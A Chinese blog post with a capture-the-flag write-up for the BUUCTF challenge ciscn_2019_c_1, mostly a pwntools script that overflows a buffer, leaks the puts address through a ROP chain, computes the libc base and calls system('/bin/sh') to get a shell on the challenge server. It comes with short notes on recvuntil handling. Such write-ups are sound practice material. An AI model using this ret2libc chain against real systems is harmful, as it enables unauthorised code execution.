对buuctf的ciscn_2019_c_1wp的简单收获

首先不得不说BUU里头用到LibcSearcher泄露libc非常离谱,反正还是用"libc = ELF(’./……’)"比"libc = LibcSearcher()"较合适…接下来谈谈这题的wp:
这里奇怪的是.recvuntil里头都带了个“\n”经过调试发现确实需要。然后就是"puts"遇到‘\x00’停止输出。

from pwn import*
from LibcSearcher import *

context.log_level='debug'

p=remote("node4.buuoj.cn",25324)
elf=ELF('./1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']
pop_rdi_addr=0x400c83

p.recvuntil('!\n')
p.sendline('1')
p.recvuntil('ed\n')

payload1='A'*88+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
p.sendline(payload1)
p.recvuntil('Ciphertext\n')#意味着终端的输出是以换行符号“\n”结尾的
p.recvuntil("\n")
puts_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))#"\x00"结尾意思是调用puts函数输出地址的时候遇到0结束输出;而且true是大写,这个.recvuntil(’\n’,drop=True)表示接受到换行符“\n”,并且舍弃此符号。



libc=ELF('./libc-2.27.so')#libc其实还有一种方式,下面有提到,不过我尝试了很多法子就是用不了,只能用这种了。
libcbase = puts_addr-libc.symbols['puts']
system_addr=libcbase+libc.symbols['system']
binsh_addr=libcbase+libc.search('/bin/sh').next()

p.recvuntil("!\n")
p.sendline('1')
p.recvuntil('ed\n')

ret_addr=0x4006b9
payload2='A'*88+p64(ret_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload2)

p.interactive()

从调试里头的输出看:

从这个输出来看“\xb9这种字符”
这个"\xb9,\x06":“\xhh,指的是值为16进制数hh的字符”

其他的,就是这种题目的正常解法了,,,,,,

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值